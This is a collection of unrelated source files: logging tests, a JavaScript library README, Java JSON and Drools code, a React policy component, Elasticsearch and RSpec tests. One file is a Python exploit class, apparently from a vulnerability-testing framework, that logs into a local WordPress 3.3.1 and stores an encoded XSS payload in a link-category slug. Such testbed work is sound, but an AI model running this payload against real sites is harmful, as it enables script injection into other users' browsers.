  stderr_handler.setLevel(logging.ERROR)
  log.addHandler(stderr_handler)

  log.info("asdasd %s", "a")
  log.info({'wut': 1})
  log.warning("warning")
  log.error("error")
  log.critical("critical")
  log.event("test", x="y")

  with log.ctx():
    stdout_handler.setFormatter(SwagFormatter(log))
    stderr_handler.setFormatter(SwagFormatter(log))
    log.bind(user="some user")
    log.info("in req")
    print("")
    log.warning("warning")
    print("")
    log.error("error")
    print("")
    log.critical("critical")
    print("")
    log.event("do_req", a=1, b="c")


text:
[![npm version](https://badge.fury.io/js/circular-iterable.svg)](http://badge.fury.io/js/circular-iterable)
[![Build Status](https://travis-ci.org/benji6/circular-iterable.svg?branch=master)](https://travis-ci.org/benji6/circular-iterable)

Create circular, iterable data structures in JS.

## Transpiling

**NB This library is written in ES2015 and implements the iterable and iterator protocols and also makes use of a generator function. As such you will either need to be using an ES2015 runtime or transpiling your code.**

If using Babel then ensure you have the `babel-runtime` package installed. This module should work with `babelify` with no further configuration. If using in node Babel will not transpile node_modules by default and you will have to modify its ignore regex, check out the docs for more info, here is a CLI example:

```bash
babel-node --ignore node_modules\/!circular-iterable/
```

## Installation

```bash
npm i -S circular-iterable
```

## API

#### Import

```javascript
import circularIterable from 'circular-iterable';
```

#### Create

```javascript
const circularData = circularIterable(1, 2, 3);

// alternatively:
const circularDataFromArray = circularIterable(...[1, 2, 3]);
```

#### Access Data

```javascript
circularData(-2); // => 2
circularData(-1); // => 3
circularData(0); // => 1
circularData(1); // => 2
circularData(2); // => 3
circularData(3); // => 1
circularData(4); // => 2
circularData(256); // => 2
circularData(-256); // => 3
```

#### Create Iterators

```javascript
const iterator = circularData[Symbol.iterator]();
iterator.next(); // => {value: 1, done: false}
iterator.next(); // => {value: 2, done: false}
iterator.next(); // => {value: 3, done: false}
iterator.next(); // => {value: 1, done: false}
iterator.next(); // => {value: 2, done: false}
// ad infinitum...

// state of iterators is kept separate:
const newIterator = circularData[Symbol.iterator]();
newIterator.next(); // => {value: 1, done: false}
iterator.next(); // => {value: 3, done: false}
```

#### toArray

```javascript
circularData.toArray(); // => [1, 2, 3]
```

## Transducer Example

```javascript
import circularIterable from 'circular-iterable';
import {append, compose, flip, map, multiply, take, transduce} from 'ramda';

const circularData = circularIterable(1, 2, 3);
const transducer = compose(map(multiply(3)), take(5));
transduce(transducer, flip(append), [], circularData); // => [3, 6, 9, 3, 6]
```

## Implementation

There is no deep cloning of elements passed to circular-iterable so mutate them at your own peril.


text:
/* JsonUtils.java Created Aug 25, 2010 by Andrew Butler, PSL */
package org.qommons.json;

import java.io.IOException;
import java.io.Reader;

import org.qommons.json.SAJParser.ParseState;

/** Formats a JSON file to be more easily read by a human */
public class JsonFormatter {
	/**
	 * Formats a file
	 *
	 * @param args The location of the file to format
	 * @throws IOException If an error occurs reading or writing the file
	 */
	public static void main(String [] args) throws IOException {
		java.io.Reader fileReader = new java.io.InputStreamReader(new org.qommons.FileSegmentizerInputStream(args[0]));
		String outFileName;
		int dotIdx = args[0].lastIndexOf('.');
		if(dotIdx >= 0)
			outFileName = args[0].substring(0, dotIdx) + ".fmt.json";
		else
			outFileName = args[0] + ".fmt.json";
		final java.io.Writer [] fileWriter = new java.io.Writer[] {
				new java.io.OutputStreamWriter(new org.qommons.FileSegmentizerOutputStream(outFileName))};
		java.io.Writer writer = new java.io.Writer() {
			@Override
			public void write(char [] cbuf, int off, int len) throws IOException {
				System.out.print(new String(cbuf, off, len));
				fileWriter[0].write(cbuf, off, len);
			}

			@Override
			public void flush() throws IOException {
				System.out.flush();
				fileWriter[0].flush();
			}

			@Override
			public void close() throws IOException {
			}
		};
		final JsonStreamWriter jsonWriter = new JsonStreamWriter(writer);
		jsonWriter.setFormatIndent("\t");
		SAJParser.ParseHandler handler = new SAJParser.ParseHandler() {
			@Override
			public void startObject(ParseState state) {
				try {
					jsonWriter.startObject();
				} catch(IOException e) {
					throw new IllegalStateException("Could not write JSON", e);
				}
			}

			@Override
			public void startProperty(ParseState state, String name) {
				try {
					jsonWriter.startProperty(name);
				} catch(IOException e) {
					throw new IllegalStateException("Could not write JSON", e);
				}
			}

			@Override
			public void separator(ParseState state) {
			}

			@Override
			public void endProperty(ParseState state, String propName) {
			}

			@Override
			public void endObject(ParseState state) {
				try {
					jsonWriter.endObject();
				} catch(IOException e) {
					throw new IllegalStateException("Could not write JSON", e);
				}
			}

			@Override
			public void startArray(ParseState state) {
				try {
					jsonWriter.startArray();
				} catch(IOException e) {
					throw new IllegalStateException("Could not write JSON", e);
				}
			}

			@Override
			public void endArray(ParseState state) {
				try {
					jsonWriter.endArray();
				} catch(IOException e) {
					throw new IllegalStateException("Could not write JSON", e);
				}
			}

			@Override
			public void valueBoolean(ParseState state, boolean value) {
				try {
					jsonWriter.writeBoolean(value);
				} catch(IOException e) {
					throw new IllegalStateException("Could not write JSON", e);
				}
			}

			@Override
			public void valueString(ParseState state, Reader value) throws IOException {
				java.io.Writer stringWriter = jsonWriter.writeStringAsWriter();
				int read = value.read();
				while(read >= 0) {
					stringWriter.write(read);
					read = value.read();
				}
				value.close();
				stringWriter.close();
			}

			@Override
			public void valueNumber(ParseState state, Number value) {
				try {
					jsonWriter.writeNumber(value);
				} catch(IOException e) {
					throw new IllegalStateException("Could not write JSON", e);
				}
			}

			@Override
			public void valueNull(ParseState state) {
				try {
					jsonWriter.writeNull();
				} catch(IOException e) {
					throw new IllegalStateException("Could not write JSON", e);
				}
			}

			@Override
			public void whiteSpace(ParseState state, String ws) {
			}

			@Override
			public void comment(ParseState state, String fullComment, String content) {
			}

			@Override
			public Object finalValue() {
				return null;
			}

			@Override
			public void error(ParseState state, String error) {
				System.err.println("\nError at Line " + state.getLineNumber() + ", char " + state.getCharNumber() + "--(Line "
					+ jsonWriter.getLineNumber() + " formatted)");
			}
		};
		try {
			new SAJParser().parse(fileReader, handler);
		} catch(SAJParser.ParseException e) {
			System.out.println(e + "  File may be exported. Trying import.");
			fileReader.close();
			fileWriter[0].close();
			try {
				fileReader = new java.io.InputStreamReader(
					new org.qommons.ImportStream(new org.qommons.FileSegmentizerInputStream(args[0])));
				fileWriter[0] = new java.io.OutputStreamWriter(new org.qommons.FileSegmentizerOutputStream(outFileName));
				new SAJParser().parse(fileReader, handler);
			} catch(SAJParser.ParseException e2) {
				e.printStackTrace();
				e2.printStackTrace();
			}
		} finally {
			fileReader.close();
			fileWriter[0].flush();
			fileWriter[0].close();
		}
	}
}


text:
import framework
import time

class Exploit (framework.Exploit):
    attributes = {'Name' : "OSVDB_82627",
                  'Description' : "Creates a post containing a XSS payload.",
                  'References' : [['OSVDB','82627'],['http://www.osvdb.org/show/osvdb/82627']],
                  'Target' : "Wordpress 3.3.1",
                  'TargetLicense' : '',
                  'Type' : "XSS",
                  'VulWikiPage' : "http://seamster.cs.umd.edu/vulwiki/index.php/OSVDB_82627",
                  'Privileged' : True
                  }

    def __init__(self, visible=False):
        framework.Exploit.__init__(self, visible)
        return

    def exploit(self):
        payload = "%253cscript%253ealert%25281%2529%253c%252fscript%253e"
        driver = self.create_selenium_driver()
        driver.get("http://localhost/wordpress")
        self.logger.info("Page opened successfully: %s", driver.title)
        driver.get("http://localhost/wordpress/wp-login.php")
        driver.get_element(by_id="user_login").clear()
        driver.get_element(by_id="user_login").send_keys(" wpadmin")
        driver.get_element(by_id="user_pass").clear()
        driver.get_element(by_id="user_pass").send_keys("wpadminpw21")
        driver.get_element(by_id="wp-submit").click()
        driver.get("http://127.0.0.1/wordpress/wp-admin/link-manager.php")
        driver.get("http://127.0.0.1/wordpress/wp-admin/edit-tags.php?taxonomy=link_category")
        driver.get_element(by_id="tag-name", attempts = 10).send_keys("Hacked")
        driver.get_element(by_id="tag-slug").send_keys(payload)
        driver.get_element(by_id="submit").click()
        driver.get("http://127.0.0.1/wordpress/wp-admin/edit-tags.php?action=edit&taxonomy=link_category&tag_ID=3&post_type=post")
        driver.get_element(by_id="submit").click()
        time.sleep(5)
        driver.cleanup()
        return

    def verify(self):
        return True


text:
import datetime

class Simulator(object):
	def __init__(self, interval = None):
		self.interval = datetime.timedelta(minutes = 1)

		if not interval:
			self.interval = datetime.timedelta(minutes = interval)


text:
import React, { Component } from 'react'
import PropTypes from 'prop-types'

let count = 0
const ignore = () => {}

/**
 * @param {Object} config.
 * @param {String} config.name A name for this policy. Useful when retrieving policy context inside your components.
 * @param {Function} config.test The testing callback. Should return 'true' if the test
 *                               passed and 'false' otherwise.
 * @param {Function} [config.failure] An optional failure callback.
 * @param {Function} [config.isTesting] An optional callback to determine if the test is in progress.
 * @param {Boolean} [preview=false] If set to 'true' will render the component while the
 *                                  testing process is not finished (see "isTesting"
 *                                  argument). Defaults to 'false', which means
 *                                  'placeholder' or 'empty' component will be
 *                                  used instead.
 * @param {Object} [empty=<div />] A component to be rendered when the test fails.
 * @param {Object} [placeholder=null] A component to be redered while the testing process
 *                                    is not finished  (see "isTesting" argument above).
 * @param {Function} [config.shouldUpdate] A callback to determine if policy testing
 *                                         should be re-executed or note. It works much
 *                                         similarly to "shouldComponentUpdate"; it
 *                                         receives "nextProps" as an argument and have
 *                                         current props accessible via "this.props".
 * @param {Function} [config.compose] A callback to be called to allow composing the
 *                                    PoliciedComponent. Useful for usage with other
 *                                    HOC or libraries like redux (i.e. 'connect') and
 *                                    react-router (i.e. 'withRouter').
 * @return {Function} A policy decorator.
 */
const Policy = (...configs) => {
  const config = configs
    .map(config => typeof config === 'function' ? { test: config } : config)
    .reduce((prev, next) => ({ ...prev, ...next }), {})

  const {
    name,
    test,
    failure = ignore,
    preview = false,
    empty = <div />,
    placeholder = null,
    shouldUpdate = () => true,
    isTesting = () => false,
    compose = PoliciedComponent => PoliciedComponent,
  } = config

  const _name = name || (test.name !== 'test' && test.name) || 'policy' + count++

  const HOC = Composed => {
    class PoliciedComponent extends Component {
      static displayName = `PoliciedComponent(${_name}/${Composed.displayName || 'Composed'})`

      static childContextTypes = {
        policy: PropTypes.object
      }

      static contextTypes = {
        policy: PropTypes.object,
      }

      constructor (props) {
        super(props)
        this.state = { testing: true, failed: null }
      }

      test (props) {
        const failed = !test.call(this, props)
        const testing = isTesting.call(this, props)

        this.setState({ testing, failed })

        if (!testing && failed) failure.call(this, props)
      }

      componentWillMount () {
        this.test(this.props)
      }

      componentWillReceiveProps (nextProps) {
        if (shouldUpdate.call(this, nextProps)) {
          this.test(nextProps)
        }
      }

      getChildContext () {
        return {
          policy: {
            ...this.context.policy || {},
            [_name]: this.state
          }
        }
      }

      render () {
        const { testing, failed } = this.state

        // 1. In case still testing, not failed, and allowing preview.
        if (testing && preview) return <Composed { ...this.props } />

        // 2. In case still testing and placeholder component available,
        // show placeholder component.
        if (testing && placeholder) return placeholder

        // 3. In case finished testing and not failed, render component.
        if (!testing && !failed) return <Composed { ...this.props } />

        // 4. In case finished testing or failed or not previewing,
        // return empty component or null if none given.
        return empty || null
      }
    }

    return compose(PoliciedComponent)
  }

  HOC.derivate = override => Policy(config, typeof override === 'function' ? override(config) : override)

  return HOC
}

export default Policy

export const combine = (...policies) => component => [].concat(policies).reverse()
  .reduce((component, policy) => policy(component), component)


text:
package org.drools.impl.adapters;

import org.drools.conf.KnowledgeBaseOption;
import org.drools.conf.MultiValueKnowledgeBaseOption;
import org.drools.conf.SingleValueKnowledgeBaseOption;
import org.kie.api.KieBaseConfiguration;

import static org.drools.impl.adapters.AdapterUtil.adaptMultiValueBaseOption;
import static org.drools.impl.adapters.AdapterUtil.adaptOption;
import static org.drools.impl.adapters.AdapterUtil.adaptSingleValueBaseOption;

public class KnowledgeBaseConfigurationAdapter implements org.drools.KnowledgeBaseConfiguration {

    private final KieBaseConfiguration delegate;

    public KnowledgeBaseConfigurationAdapter(KieBaseConfiguration delegate) {
        this.delegate = delegate;
    }

    public <T extends KnowledgeBaseOption> void setOption(T option) {
        delegate.setOption(adaptOption(option));
    }

    public <T extends SingleValueKnowledgeBaseOption> T getOption(Class<T> option) {
        return (T)adaptOption(delegate.getOption(adaptSingleValueBaseOption(option)));
    }

    public <T extends MultiValueKnowledgeBaseOption> T getOption(Class<T> option, String key) {
        return (T)adaptOption(delegate.getOption(adaptMultiValueBaseOption(option), key));
    }

    public void setProperty(String name, String value) {
        delegate.setProperty(name, value);
    }

    public String getProperty(String name) {
        return delegate.getProperty(name);
    }

    public KieBaseConfiguration getDelegate() {
        return delegate;
    }

    @Override
    public int hashCode() {
        return delegate.hashCode();
    }

    @Override
    public boolean equals(Object obj) {
        return obj instanceof KnowledgeBaseConfigurationAdapter && delegate.equals(((KnowledgeBaseConfigurationAdapter)obj).delegate);
    }
}


text: PRAGMA main.freelist_count;


text:
package org.elasticsearch.index.mapper.size;

import org.elasticsearch.common.bytes.BytesReference;
import org.elasticsearch.common.xcontent.XContentFactory;
import org.elasticsearch.index.mapper.DocumentMapper;
import org.elasticsearch.index.mapper.MapperTestUtils;
import org.elasticsearch.index.mapper.ParsedDocument;
import org.elasticsearch.index.mapper.SourceToParse;
import org.elasticsearch.test.ElasticsearchTestCase;
import org.junit.Test;

import static org.hamcrest.MatcherAssert.assertThat;
import static org.hamcrest.Matchers.*;

public class SizeMappingTests extends ElasticsearchTestCase {

    @Test
    public void testSizeEnabled() throws Exception {
        String mapping = XContentFactory.jsonBuilder().startObject().startObject("type")
                .startObject("_size").field("enabled", true).endObject()
                .endObject().endObject().string();
        DocumentMapper docMapper = MapperTestUtils.newParser().parse(mapping);

        BytesReference source = XContentFactory.jsonBuilder()
                .startObject()
                .field("field", "value")
                .endObject()
                .bytes();
        ParsedDocument doc = docMapper.parse(SourceToParse.source(source).type("type").id("1"));

        assertThat(doc.rootDoc().getField("_size").fieldType().stored(), equalTo(false));
        assertThat(doc.rootDoc().getField("_size").tokenStream(docMapper.indexAnalyzer()), notNullValue());
    }

    @Test
    public void testSizeEnabledAndStored() throws Exception {
        String mapping = XContentFactory.jsonBuilder().startObject().startObject("type")
                .startObject("_size").field("enabled", true).field("store", "yes").endObject()
                .endObject().endObject().string();
        DocumentMapper docMapper = MapperTestUtils.newParser().parse(mapping);

        BytesReference source = XContentFactory.jsonBuilder()
                .startObject()
                .field("field", "value")
                .endObject()
                .bytes();
        ParsedDocument doc = docMapper.parse(SourceToParse.source(source).type("type").id("1"));

        assertThat(doc.rootDoc().getField("_size").fieldType().stored(), equalTo(true));
        assertThat(doc.rootDoc().getField("_size").tokenStream(docMapper.indexAnalyzer()), notNullValue());
    }

    @Test
    public void testSizeDisabled() throws Exception {
        String mapping = XContentFactory.jsonBuilder().startObject().startObject("type")
                .startObject("_size").field("enabled", false).endObject()
                .endObject().endObject().string();
        DocumentMapper docMapper = MapperTestUtils.newParser().parse(mapping);

        BytesReference source = XContentFactory.jsonBuilder()
                .startObject()
                .field("field", "value")
                .endObject()
                .bytes();
        ParsedDocument doc = docMapper.parse(SourceToParse.source(source).type("type").id("1"));

        assertThat(doc.rootDoc().getField("_size"), nullValue());
    }

    @Test
    public void testSizeNotSet() throws Exception {
        String mapping = XContentFactory.jsonBuilder().startObject().startObject("type")
                .endObject().endObject().string();
        DocumentMapper docMapper = MapperTestUtils.newParser().parse(mapping);

        BytesReference source = XContentFactory.jsonBuilder()
                .startObject()
                .field("field", "value")
                .endObject()
                .bytes();
        ParsedDocument doc = docMapper.parse(SourceToParse.source(source).type("type").id("1"));

        assertThat(doc.rootDoc().getField("_size"), nullValue());
    }

    @Test
    public void testThatDisablingWorksWhenMerging() throws Exception {
        String enabledMapping = XContentFactory.jsonBuilder().startObject().startObject("type")
                .startObject("_size").field("enabled", true).endObject()
                .endObject().endObject().string();
        DocumentMapper enabledMapper = MapperTestUtils.newParser().parse(enabledMapping);

        String disabledMapping = XContentFactory.jsonBuilder().startObject().startObject("type")
                .startObject("_size").field("enabled", false).endObject()
                .endObject().endObject().string();
        DocumentMapper disabledMapper = MapperTestUtils.newParser().parse(disabledMapping);

        enabledMapper.merge(disabledMapper, DocumentMapper.MergeFlags.mergeFlags().simulate(false));
        assertThat(enabledMapper.SizeFieldMapper().enabled(), is(false));
    }
}


text:
public interface Table {

	/** constant indicating the table head seat. (for leaders only) */
	int TABLE_HEAD=0;

	/** @return the number of seats on this table. */
	int getNumberOfSeats();

	/**
	 * places a diplomat at the specified position.
	 * may also be used to remove a diplomat from its seat (use null).
	 */
	void place(int position,Diplomat d);

	/** retrieves the diplomat at the specified position. */
	Diplomat getDiplomatAt(int position);

	/** @return true if the table is fully seated. */
	boolean isFull();

	/** @return true if the seat at the specified position is taken. */
	boolean isSeatTaken(int position);

}


text:
require 'rails_helper'

RSpec.feature 'System: Administration: Instance Announcements', js: true do
  subject { page }

  let!(:instance) { create(:instance) }

  with_tenant(:instance) do
    before do
      login_as(user, scope: :user)
    end

    context 'As an Instance Administrator' do
      let(:user) { create(:instance_administrator).user }

      scenario 'I can create instance announcements' do
        visit admin_instance_announcements_path

        find('button#new-announcement-button').click

        announcement = attributes_for(:system_announcement)
        fill_in 'title', with: announcement[:title]
        fill_in_react_ck 'textarea[name="content"]', announcement[:content]

        find('button.btn-submit').click
        expect(current_path).to eq(admin_instance_announcements_path)
        expect(page).to have_selector('h3', text: announcement[:title])
        expect(page).to have_selector('p', text: announcement[:content])
        expect_toastify('New announcement posted!')
      end

      scenario 'I can edit instance announcements' do
        announcement = create(:instance_announcement, instance: instance)
        visit admin_instance_announcements_path

        find("#announcement-edit-button-#{announcement.id}").click

        fill_in 'title', with: 'long string' * 100
        find('#form-dialog-update-button').click
        expect_toastify('Failed to update the announcement')
        expect(page).to have_selector('#form-dialog-update-button')

        new_title = 'New Title'
        fill_in 'title', with: new_title
        find('#form-dialog-update-button').click

        # Commented due to flaky test
        # expect_toastify('Announcement updated')

        expect(current_path).to eq admin_instance_announcements_path
        within find("#announcement-#{announcement.id}") do
          expect(page).to have_selector('h3', text: new_title)
        end
        expect(announcement.reload.title).to eq(new_title)
      end

      scenario 'I can see all instance announcements' do
        announcements = create_list(:instance_announcement, 2, instance: instance)
        visit admin_instance_announcements_path
        expect(page).to have_selector('#new-announcement-button')

        announcements.each do |announcement|
          expect(page).to have_selector("#announcement-#{announcement.id}")
          expect(page).to have_selector("#announcement-edit-button-#{announcement.id}")
          expect(page).to have_selector("#announcement-delete-button-#{announcement.id}")
        end
      end

      scenario 'I can delete announcements' do
        announcement = create(:instance_announcement, instance: instance)
        visit admin_instance_announcements_path

        find("#announcement-delete-button-#{announcement.id}").click
        click_button('Continue')

        expect(page).not_to have_selector("#announcement-#{announcement.id}")
        expect(page).not_to have_selector("#announcement-edit-button-#{announcement.id}")
        expect(page).not_to have_selector("#announcement-delete-button-#{announcement.id}")

        expect_toastify('Announcement was successfully deleted.')
      end
    end
  end
end